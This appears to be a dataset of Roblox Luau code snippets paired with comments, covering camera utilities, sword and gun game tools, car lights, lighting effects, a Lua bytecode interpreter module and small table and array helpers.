if UserInputService.MouseBehavior ~= lastMouseBehaviorOverride then
savedMouseBehavior = UserInputService.MouseBehavior
end
UserInputService.MouseBehavior = value
lastMouseBehaviorOverride = value
end
function CameraUtils.restoreMouseBehavior()
if UserInputService.MouseBehavior == lastMouseBehaviorOverride then
UserInputService.MouseBehavior = savedMouseBehavior
end
lastMouseBehaviorOverride = nil
end
local savedRotationType: Enum.RotationType = Enum.RotationType.MovementRelative
local lastRotationTypeOverride: Enum.RotationType? = nil
function CameraUtils.setRotationTypeOverride(value: Enum.RotationType)
if UserGameSettings.RotationType ~= lastRotationTypeOverride then
savedRotationType = UserGameSettings.RotationType
end
UserGameSettings.RotationType = Enum.RotationType.MovementRelative
lastRotationTypeOverride = Enum.RotationType.MovementRelative
end
function CameraUtils.restoreRotationType()
if UserGameSettings.RotationType == lastRotationTypeOverride then
UserGameSettings.RotationType = savedRotationType
end
lastRotationTypeOverride = nil
end
return CameraUtils
|
--[[
Package link auto-generated by Rotriever
]] |
local PackageIndex = script.Parent.Parent.Parent
return require(PackageIndex["Roact-e3b370a8-41af74df"].Packages["Roact"])
|
-- Gathers up all the scripts in the DevModule. We use the resulting array to
-- enable all scripts in one step. |
local function getDevModuleScripts(devModule: Folder)
local scripts = {}
for _, descendant in ipairs(devModule:GetDescendants()) do
if descendant.Parent == script.Parent then
continue
end
if descendant:IsA("Script") or descendant:IsA("LocalScript") then
table.insert(scripts, descendant)
end
end
return scripts
end
|
--local Energia = Variaveis.Energia |
local Ferido = Stances.Ferido
local Caido = Stances.Caido -- knocked out
local ouch = Caido
local rodeath = Stances.rodeath
local o2 = Stances.o2
local dead = Stances.dead -- humanoid dead
local life = Stances.life
local Ragdoll = require(game.ReplicatedStorage.ACS_Engine.Modulos.Ragdoll)
local Config = require(game.ReplicatedStorage.ACS_Engine.ServerConfigs.Config)
|
-- SolarCrane |
local MAX_TWEEN_RATE = 2.8 -- per second
local function clamp(low, high, num)
if low <= high then
return math.min(high, math.max(low, num))
end
return num
end
local function Round(num, places)
places = places or 0
local decimalPivot = 10^places
return math.floor(num * decimalPivot + 0.5) / decimalPivot
end
local function CreateTransparencyController()
local module = {}
local LastUpdate = tick()
local TransparencyDirty = false
local Enabled = false
local LastTransparency = nil
local DescendantAddedConn, DescendantRemovingConn = nil, nil
local ToolDescendantAddedConns = {}
local ToolDescendantRemovingConns = {}
local CachedParts = {}
local function HasToolAncestor(object)
if object.Parent == nil then return false end
return object.Parent:IsA('Tool') or HasToolAncestor(object.Parent)
end
local function IsValidPartToModify(part)
if part:IsA('BasePart') or part:IsA('Decal') then
return not HasToolAncestor(part)
end
return false
end
local function CachePartsRecursive(object)
if object then
if IsValidPartToModify(object) then
CachedParts[object] = true
TransparencyDirty = true
end
for _, child in pairs(object:GetChildren()) do
CachePartsRecursive(child)
end
end
end
local function TeardownTransparency()
for child, _ in pairs(CachedParts) do
child.LocalTransparencyModifier = 0
end
CachedParts = {}
TransparencyDirty = true
LastTransparency = nil
if DescendantAddedConn then
DescendantAddedConn:disconnect()
DescendantAddedConn = nil
end
if DescendantRemovingConn then
DescendantRemovingConn:disconnect()
DescendantRemovingConn = nil
end
for object, conn in pairs(ToolDescendantAddedConns) do
conn:disconnect()
ToolDescendantAddedConns[object] = nil
end
for object, conn in pairs(ToolDescendantRemovingConns) do
conn:disconnect()
ToolDescendantRemovingConns[object] = nil
end
end
local function SetupTransparency(character)
TeardownTransparency()
if DescendantAddedConn then DescendantAddedConn:disconnect() end
DescendantAddedConn = character.DescendantAdded:connect(function(object)
-- This is a part we want to invisify
if IsValidPartToModify(object) then
CachedParts[object] = true
TransparencyDirty = true
-- There is now a tool under the character
elseif object:IsA('Tool') then
if ToolDescendantAddedConns[object] then ToolDescendantAddedConns[object]:disconnect() end
ToolDescendantAddedConns[object] = object.DescendantAdded:connect(function(toolChild)
CachedParts[toolChild] = nil
if toolChild:IsA('BasePart') or toolChild:IsA('Decal') then
-- Reset the transparency
toolChild.LocalTransparencyModifier = 0
end
end)
if ToolDescendantRemovingConns[object] then ToolDescendantRemovingConns[object]:disconnect() end
ToolDescendantRemovingConns[object] = object.DescendantRemoving:connect(function(formerToolChild)
wait() -- wait for new parent
if character and formerToolChild and formerToolChild:IsDescendantOf(character) then
if IsValidPartToModify(formerToolChild) then
CachedParts[formerToolChild] = true
TransparencyDirty = true
end
end
end)
end
end)
if DescendantRemovingConn then DescendantRemovingConn:disconnect() end
DescendantRemovingConn = character.DescendantRemoving:connect(function(object)
if CachedParts[object] then
CachedParts[object] = nil
-- Reset the transparency
object.LocalTransparencyModifier = 0
end
end)
CachePartsRecursive(character)
end
function module:SetEnabled(newState)
if Enabled ~= newState then
Enabled = newState
self:Update()
end
end
function module:SetSubject(subject)
local character = subject and subject:IsA('Humanoid') and subject.Parent
if character then
SetupTransparency(character)
else
TeardownTransparency()
end
end
function module:Update()
local instant = false
local now = tick()
local currentCamera = workspace.CurrentCamera
if currentCamera then
local transparency = 0
if not Enabled then
instant = true
else
local distance = (currentCamera.Focus.p - currentCamera.CoordinateFrame.p).magnitude
transparency = (7 - distance) / 5
if transparency < 0.5 then
transparency = 0
end
if LastTransparency then
local deltaTransparency = transparency - LastTransparency
-- Don't tween transparency if it is instant or your character was fully invisible last frame
if not instant and transparency < 1 and LastTransparency < 0.95 then
local maxDelta = MAX_TWEEN_RATE * (now - LastUpdate)
deltaTransparency = clamp(-maxDelta, maxDelta, deltaTransparency)
end
transparency = LastTransparency + deltaTransparency
else
TransparencyDirty = true
end
transparency = clamp(0, 1, Round(transparency, 2))
end
if TransparencyDirty or LastTransparency ~= transparency then
for child, _ in pairs(CachedParts) do
child.LocalTransparencyModifier = transparency
end
TransparencyDirty = false
LastTransparency = transparency
end
end
LastUpdate = now
end
return module
end
return CreateTransparencyController
|
-- Set Pet Canvas Size -- |
function PetSrollingFrame:SetPetCanvasSize(searchOn)
PetUI.Size = UDim2.new(0.515, 0, 0.745, 0)
local PADDING, SIZE, MaxCells = getSizes()
local AbsoluteSize = ScrollingFrame.AbsoluteSize
local NewPadding = PADDING * AbsoluteSize
NewPadding = UDim2.new(0, NewPadding.X, 0, NewPadding.Y)
local NewSize = SIZE * AbsoluteSize
NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y)
UIGridLayout.CellPadding = NewPadding
UIGridLayout.CellSize = NewSize
local children = ScrollingFrame:GetChildren()
local items = 0
if searchOn == true then
for _, v in pairs(PetsFrame:GetChildren()) do
if v:IsA("ImageLabel") and v:FindFirstChild("Data") then
if v.Visible == true then
items = items + 1
end
end
end
else
items = (#children) - 1
end
local frameSizeY = ScrollingFrame.AbsoluteSize.Y
local ySize = UIGridLayout.CellSize.Y.Offset
local yPadding = UIGridLayout.CellPadding.Y.Offset
UIGridLayout.FillDirectionMaxCells = MaxCells
local rows = math.ceil(items / UIGridLayout.FillDirectionMaxCells)
local pixels = rows * ySize + (rows - 1) * yPadding
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5))
if PetUI.Visible == false then
PetUI.Size = UDim2.new(0, 0, 0, 0)
end
end
return PetSrollingFrame
|
-- / Configuration / -- |
local Configurations = GameAssets.Configurations
local PlayerStatsConfiguration = Configurations.PlayerStatsConfiguration
|
--//Setup//-- |
local PoopHolder = game.Workspace.PoopHolder
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value >= 40
end
|
--= Variables =-- |
local plr = game.Players.LocalPlayer
repeat wait() until plr.Character --Getting the player
local chr = plr.Character
hum = chr:FindFirstChild("Humanoid")
gui = script:WaitForChild("Shading")
|
--END OF CONFIGURABLE OPTIONS-- |
r = game:service("RunService")
function candamage(myteam,theirteam)
if myteam ~= theirteam or (myteam == black and theirteam == black) then
return true
else
return false
end
end
local acceptableparts = {
"Head"; "Left Arm"; "Left Leg"; "Right Arm"; "Right Leg"; "Torso";
}
function matches(partname)
for i,v in pairs(acceptableparts) do
if partname == v then
return true
end
end
return false
end
local damage = 5
local slash_damage = 11
local lunge_damage = 22
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = sword.SlashSound
local LungeSound = sword.LungeSound
local UnsheathSound = sword.UnsheathSound
function blow(hit)
if (hit.Parent == nil) then return end
if matches(hit.Name) then
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid")
if humanoid and humanoid ~= hum and hum then
-- final check, make sure sword is in-hand
local guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint and (joint.Part0 == sword or joint.Part1 == sword)) then
if guygettingsliced then --If he's a player
if candamage(vPlayer.TeamColor, guygettingsliced.TeamColor) == true then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
else --If he's not a player (AI, shop, etc)
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
wait(.1)
swordOut()
wait(.75)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--Internal Settings-- |
local fullMag = 30
local spread = 1.1 -- in degrees
local fullauto = false -- shoots all bullets as long as the player is visible. turning this off reverts shooting mechanic back to the original marine mechanics (boolean)
local burstamount = 3 -- (only works if full auto is off) amount of times gun fires in burst fire mode
local firerate = 1 -- wait between shooting in seconds
local shotgunpellets = 3 -- setting this above 1 turns the gun into a shotgun (MIGHT LAG WITH FULL AUTO ON)
local delaybeforereloading = 0.3 -- to delay reload (prevents the marine from shooting the last shot of the mag at the ground)
local MinimumDamage,MaximumDamage = 30, 40 -- the amount of damage each bullet does (RANDOMIZED) first value is minimum, second value is maximum
local SemiAtLongRange = false -- restores the behaviour of the marine shooting in semi at long distances (i made this toggleable because i didnt like it)
local headshotmultiplier = 2 -- self explanitory (set this value to 1 if you dont want a multiplier)
local HitWallSounds = {"rbxassetid://6962153997","rbxassetid://6962154328","rbxassetid://6962154691","rbxassetid://6962155018","rbxassetid://6962155378"} -- basically sounds for hitting walls
local HitFleshSound = "rbxassetid://4988621968" -- plays when a creature gets shot
local bulletacceleration = Vector3.new(0,-12,0) -- very similar to how acceleration works in particle emitters (setting the y value to a negative number will give the bullet bulletdrop)
local maxdistance = 300
local bulletspeed = 400
|
-- Ângulo máximo que as rodas alcançarão ao girar
-- Número mais alto significa curvas mais acentuadas, mas muito alto significa que as rodas podem bater na base do carro |
local MAX_TURN_ANGLE = 40
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = true
,MoveBolt = true
,BoltLock = true
,CanBreachDoor = false
,CanBreak = false --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 1
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.225)
,SlideExtend = Vector3.new(0, 0, 0.225) |
-- Enums
-- Author(s): Jesse Appleton
-- Date: 06/19/2022 | |
-- [ LOCALS ] -- |
local cam = workspace.Camera
local scenes = workspace.CameraScenes
local currentTween = nil
local looping = true
|
-- SETTINGS |
local TRANSITION_TIME = 1 -- change this to how long you want the transition to take
|
-- connect events |
zombie.Died:connect(onDied)
zombie.Running:connect(onRunning)
zombie.Jumping:connect(onJumping)
zombie.Climbing:connect(onClimbing)
zombie.GettingUp:connect(onGettingUp)
zombie.FreeFalling:connect(onFreeFall)
zombie.FallingDown:connect(onFallingDown)
zombie.Seated:connect(onSeated)
zombie.PlatformStanding:connect(onPlatformStanding)
zombie.Swimming:connect(onSwimming)
|
--Version 2 1.03 I fixed a problem with the script building proportion of the script, which was broken by an update. |
adminlist = {"add your name here" , "add friends name here"}--Add in the names of the people you want to be able to use the command script here. |
--------LEFT DOOR 2-------- |
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102)
|
--[[
Credit to einsteinK.
Credit to Stravant for LBI.
Credit to the creators of all the other modules used in this.
Sceleratis was here and decided modify some things.
einsteinK was here again to fix a bug in LBI for if-statements
--]] |
local waitDeps = {
'Rerubi';
'LuaK';
'LuaP';
'LuaU';
'LuaX';
'LuaY';
'LuaZ';
}
for i,v in pairs(waitDeps) do script:WaitForChild(v) end
local luaX = require(script.LuaX)
local luaY = require(script.LuaY)
local luaZ = require(script.LuaZ)
local luaU = require(script.LuaU)
local rerubi = require(script.Rerubi)
luaX:init()
local LuaState = {}
getfenv().script = nil
return function(str,env)
local f,writer,buff,name
local env = env or getfenv(2)
local name = (env.script and env.script:GetFullName())
local ran,error = pcall(function()
local zio = luaZ:init(luaZ:make_getS(str), nil)
if not zio then return error() end
local func = luaY:parser(LuaState, zio, nil, name or "nil")
writer, buff = luaU:make_setS()
luaU:dump(LuaState, func, writer, buff)
f = rerubi(buff.data, env)
end)
if ran then
return f,buff.data
else
return nil,error
end
end
|
-- b2.BrickColor = BrickColor.new("Pearl")
-- b2.Material = Enum.Material.SmoothPlastic |
end
end
elseif input.KeyCode == Enum.KeyCode.Z then if input.UserInputState == Enum.UserInputState.Begin then
if hazards then return end
left = not left
right = false
if relay then repeat wait() until not relay end
while left do
l1.BrickColor = BrickColor.new("Deep orange")
l1.Material = Enum.Material.Neon
-- l2.BrickColor = BrickColor.new("Deep orange")
-- l2.Material = Enum.Material.Neon
b1.BrickColor = BrickColor.new("Deep orange")
b1.Material = Enum.Material.Neon
-- runner.Material = Enum.Material.SmoothPlastic
-- runner.BrickColor = BrickColor.new("Pearl")
cr.DriveSeat.Indicator.Value = true
cr.DriveSeat.LI.Value = true
wait(1/3)
l1.BrickColor = BrickColor.new("Pearl")
l1.Material = Enum.Material.SmoothPlastic
--l2.BrickColor = BrickColor.new("Pearl")
--l2.Material = Enum.Material.SmoothPlastic
cr.DriveSeat.Indicator.Value = false
cr.DriveSeat.LI.Value = false
if not headlt then
b1.BrickColor = BrickColor.new("Pearl")
b1.Material = Enum.Material.SmoothPlastic
else
b1.BrickColor = BrickColor.new("Pearl")
b1.Material = Enum.Material.SmoothPlastic
end
wait(1/3)
if not left then
-- runner.Material = Enum.Material.Neon
-- runner.BrickColor = BrickColor.new("Pearl")
if brake then
b1.Material = Enum.Material.Neon
b1.BrickColor = BrickColor.new("Pearl")
end
end
end end
elseif input.KeyCode == Enum.KeyCode.X then if input.UserInputState == Enum.UserInputState.Begin then
if hazards == false then
hazards = true
left = true
right = true
else
hazards = false
left = false
right = false
end
if hazards then left = false right = false end
if relay then repeat wait() until not relay end
while hazards do
l1.BrickColor = BrickColor.new("Deep orange")
l1.Material = Enum.Material.Neon
-- l2.BrickColor = BrickColor.new("Deep orange")
-- l2.Material = Enum.Material.Neon
r1.BrickColor = BrickColor.new("Deep orange")
r1.Material = Enum.Material.Neon
-- r2.BrickColor = BrickColor.new("Pearl")
-- r2.Material = Enum.Material.Neon
b1.BrickColor = BrickColor.new("New Yeller")
b1.Material = Enum.Material.Neon
-- runner.Material = Enum.Material.SmoothPlastic
--runner.BrickColor = BrickColor.new("Pearl")
--runner2.Material = Enum.Material.SmoothPlastic
--runner2.BrickColor = BrickColor.new("Pearl")
b2.BrickColor = BrickColor.new("New Yeller")
b2.Material = Enum.Material.Neon
cr.DriveSeat.Indicator.Value = true
cr.DriveSeat.LI.Value = true
cr.DriveSeat.RI.Value = true
wait(1/3)
l1.BrickColor = BrickColor.new("Pearl")
l1.Material = Enum.Material.SmoothPlastic
r1.BrickColor = BrickColor.new("Pearl")
r1.Material = Enum.Material.SmoothPlastic
-- l2.BrickColor = BrickColor.new("Pearl")
-- l2.Material = Enum.Material.SmoothPlastic
-- r2.BrickColor = BrickColor.new("Pearl")
-- r2.Material = Enum.Material.SmoothPlastic
b1.BrickColor = BrickColor.new("Pearl")
b1.Material = Enum.Material.SmoothPlastic
b2.BrickColor = BrickColor.new("Pearl")
b2.Material = Enum.Material.SmoothPlastic
cr.DriveSeat.Indicator.Value = false
cr.DriveSeat.LI.Value = false
cr.DriveSeat.RI.Value = false
wait(1/3)
if not hazards then
-- runner.Material = Enum.Material.Neon
--runner.BrickColor = BrickColor.new("Pearl")
-- runner2.Material = Enum.Material.Neon
--runner2.BrickColor = BrickColor.new("Pearl")
if brake then
b1.Material = Enum.Material.Neon
b2.Material = Enum.Material.Neon
b1.BrickColor = BrickColor.new("Pearl")
b2.BrickColor = BrickColor.new("Pearl")
end
end
end end
elseif input.KeyCode == Enum.KeyCode.C then if input.UserInputState == Enum.UserInputState.Begin then
if hazards then return end
right = not right
left = false
if relay then repeat wait() until not relay end
while right do
r1.BrickColor = BrickColor.new("Deep orange")
r1.Material = Enum.Material.Neon
-- r2.BrickColor = BrickColor.new("Deep orange")
-- r2.Material = Enum.Material.Neon
b2.BrickColor = BrickColor.new("New Yeller")
b2.Material = Enum.Material.Neon
cr.DriveSeat.Indicator.Value = true
cr.DriveSeat.RI.Value = true
-- runner2.Material = Enum.Material.SmoothPlastic
-- runner2.BrickColor = BrickColor.new("Pearl")
wait(1/3)
r1.BrickColor = BrickColor.new("New Yeller")
r1.Material = Enum.Material.SmoothPlastic
-- r2.BrickColor = BrickColor.new("Pearl")
--r2.Material = Enum.Material.SmoothPlastic
cr.DriveSeat.Indicator.Value = false
cr.DriveSeat.RI.Value = false
if not headlt then
b2.BrickColor = BrickColor.new("Pearl")
b2.Material = Enum.Material.SmoothPlastic
else
b2.BrickColor = BrickColor.new("Pearl")
b2.Material = Enum.Material.SmoothPlastic
end
wait(1/3)
if not right then
-- runner2.Material = Enum.Material.Neon
-- runner2.BrickColor = BrickColor.new("Pearl")
if brake then
b2.Material = Enum.Material.Neon
b2.BrickColor = BrickColor.new("Pearl")
end
end
end end
elseif input.KeyCode == Enum.KeyCode.L then if input.UserInputState == Enum.UserInputState.Begin then
if headlt and not highlt then
highlt = true
elseif headlt and highlt then
headlt = false
highlt = false
elseif not headlt then
headlt = true
end
if highlt then
hi.BrickColor = BrickColor.new("Institutional white")
hi.Material = Enum.Material.Neon
lwww.SpotLight.Enabled = true
rb.BrickColor = BrickColor.new("Really red")
rb.Material = Enum.Material.Neon
elseif not highlt then
hi.BrickColor = BrickColor.new("Pearl")
hi.Material = Enum.Material.SmoothPlastic
lwww.SpotLight.Enabled = false
if not brake then
rb.BrickColor = BrickColor.new("Crimson")
rb.Material = Enum.Material.SmoothPlastic
else
rb.BrickColor = BrickColor.new("Crimson")
rb.Material = Enum.Material.SmoothPlastic
if not headlt then
rb.BrickColor = BrickColor.new("Crimson")
rb.Material = Enum.Material.SmoothPlastic
else
rb.BrickColor = BrickColor.new("Crimson")
rb.Material = Enum.Material.SmoothPlastic
end
end
end
if headlt then
lw.BrickColor = BrickColor.new("Pearl")
lw.Material = Enum.Material.Neon
lww.SpotLight.Enabled = true
rb.BrickColor = BrickColor.new("Really red")
rb.Material = Enum.Material.Neon
if not highlt then
rb.BrickColor = BrickColor.new("Really red")
rb.Material = Enum.Material.Neon
end
elseif not headlt then
lw.Material = Enum.Material.SmoothPlastic
lww.SpotLight.Enabled = false
end end
end
end
is.InputBegan:connect(DealWithInput)
is.InputChanged:connect(DealWithInput)
is.InputEnded:connect(DealWithInput)
gr.Changed:connect(function()
if gr.Value == -1 then
rv.Material = Enum.Material.Neon
else
rv.Material = Enum.Material.SmoothPlastic
end
end)
|
--TextStuff |
local Text = script.Parent
Text.Text = Multiplier.Value
Multiplier.Changed:Connect(function()
Text.Text = Multiplier.Value
end)
|
--[[
--▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬--
May, 3rd 2021
Created by NovemberReject
Put this script in Workspace or ServerScriptService
Set technology "ShadowMap" in Lighting properties
--▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬--
]] |
local Vignette = true -- change to false if you don't want a shadow frame
local Lighting = game:GetService("Lighting")
local Bloom = Instance.new("BloomEffect")
local Blur = Instance.new("BlurEffect")
local ColorCor = Instance.new("ColorCorrectionEffect")
local SunRays = Instance.new("SunRaysEffect")
local DepthOfField = Instance.new("DepthOfFieldEffect")
for i, v in pairs(Lighting:GetChildren()) do
if v then
v:Destroy()
end
end
Bloom.Parent = Lighting
Blur.Parent = Lighting
ColorCor.Parent = Lighting
SunRays.Parent = Lighting
DepthOfField.Parent = Lighting
Bloom.Intensity = 1
Bloom.Size = 56
Bloom.Threshold = 1
Blur.Size = 3
ColorCor.Brightness = 0
ColorCor.Contrast = 0.4
ColorCor.Saturation = 0.1
ColorCor.TintColor = Color3.fromRGB(255, 226, 202)
SunRays.Intensity = 10
SunRays.Spread = 5
Lighting.Ambient = Color3.fromRGB(50, 30, 0)
Lighting.Brightness = 2
Lighting.ColorShift_Bottom = Color3.fromRGB(0,0,0)
Lighting.ColorShift_Top = Color3.fromRGB(0,0,0)
Lighting.EnvironmentDiffuseScale = 1
Lighting.EnvironmentSpecularScale = 1
Lighting.GlobalShadows = true
Lighting.OutdoorAmbient = Color3.fromRGB(70, 70, 70)
Lighting.ShadowSoftness = 0
Lighting.ClockTime = 15
Lighting.GeographicLatitude = -12
Lighting.ExposureCompensation = 0.5
DepthOfField.Enabled = true
DepthOfField.FarIntensity = 0.32
DepthOfField.FocusDistance = 0.05
DepthOfField.InFocusRadius = 40
DepthOfField.NearIntensity = 0.48
script:Destroy()
|
--!strict |
local LookEvent:RemoteEvent = game:GetService("ReplicatedStorage"):WaitForChild("Events").Look
local Players = game:GetService("Players")
LookEvent.OnServerEvent:Connect(function(player:Player, Neck:Motor6D, Waist:Motor6D, NeckCF:CFrame, WaistCF:CFrame)
local Character = player.Character
if not Character or not Neck or not Waist or not Character:IsAncestorOf(Neck) or not Character:IsAncestorOf(Waist) then return end
for _, plr:Player in Players:GetPlayers() do
if plr ~= player then
LookEvent:FireClient(plr, Neck, Waist, NeckCF, WaistCF)
end
end
end)
|
--[=[
@within TableUtil
@function Lock
@param tbl table
@return table
Locks the table using `table.freeze`, as well as any
nested tables within the given table. This will lock
the whole deep structure of the table, disallowing any
further modifications.
```lua
local tbl = {xyz = {abc = 32}}
tbl.xyz.abc = 28 -- Works fine
TableUtil.Lock(tbl)
tbl.xyz.abc = 64 -- Will throw an error (cannot modify readonly table)
```
]=] |
local function Lock(tbl: Table): Table
local function Freeze(t: Table)
for k,v in pairs(t) do
if type(v) == "table" then
t[k] = Freeze(v)
end
end
return table.freeze(t)
end
return Freeze(tbl)
end
|
--!strict |
local Array = script.Parent
local isArray = require(Array.isArray)
local LuauPolyfill = Array.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
return function<T>(array: Array<T>, ...: T): number
if _G.__DEV__ then
if not isArray(array) then
error(string.format("Array.unshift called on non-array %s", typeof(array)))
end
end
local numberOfItems = select("#", ...)
if numberOfItems > 0 then
for i = numberOfItems, 1, -1 do
local toInsert = select(i, ...)
table.insert(array, 1, toInsert)
end
end
return #array
end
|
-- Turns on the correct pieces of the display |
function Display(d_hrsTens, d_hrsOnes, d_minsTens, d_minsOnes, d_noon)
local parts = { hrsTens, hrsOnes, minsTens, minsOnes, noon }
local taskLine = { d_hrsTens, d_hrsOnes, d_minsTens, d_minsOnes, d_noon }
for i = 1, #taskLine do
for j = 1, #taskLine[i] do
if taskLine[i][j] == 1 then
parts[i]:FindFirstChild(tostring(j)).Visible = true
else
parts[i]:FindFirstChild(tostring(j)).Visible = false
end
end
end
end
|
-------- OMG HAX |
r = game:service("RunService")
local damage = 10
local slash_damage = 15
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "http://www.roblox.com/asset/?id=18471816"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=18472672"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = require(script.Parent);
local v2 = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v3 = game["Run Service"];
local l__UserInputService__4 = game:GetService("UserInputService");
local l__ProximityPromptService__5 = game:GetService("ProximityPromptService");
local l__TextService__6 = game:GetService("TextService");
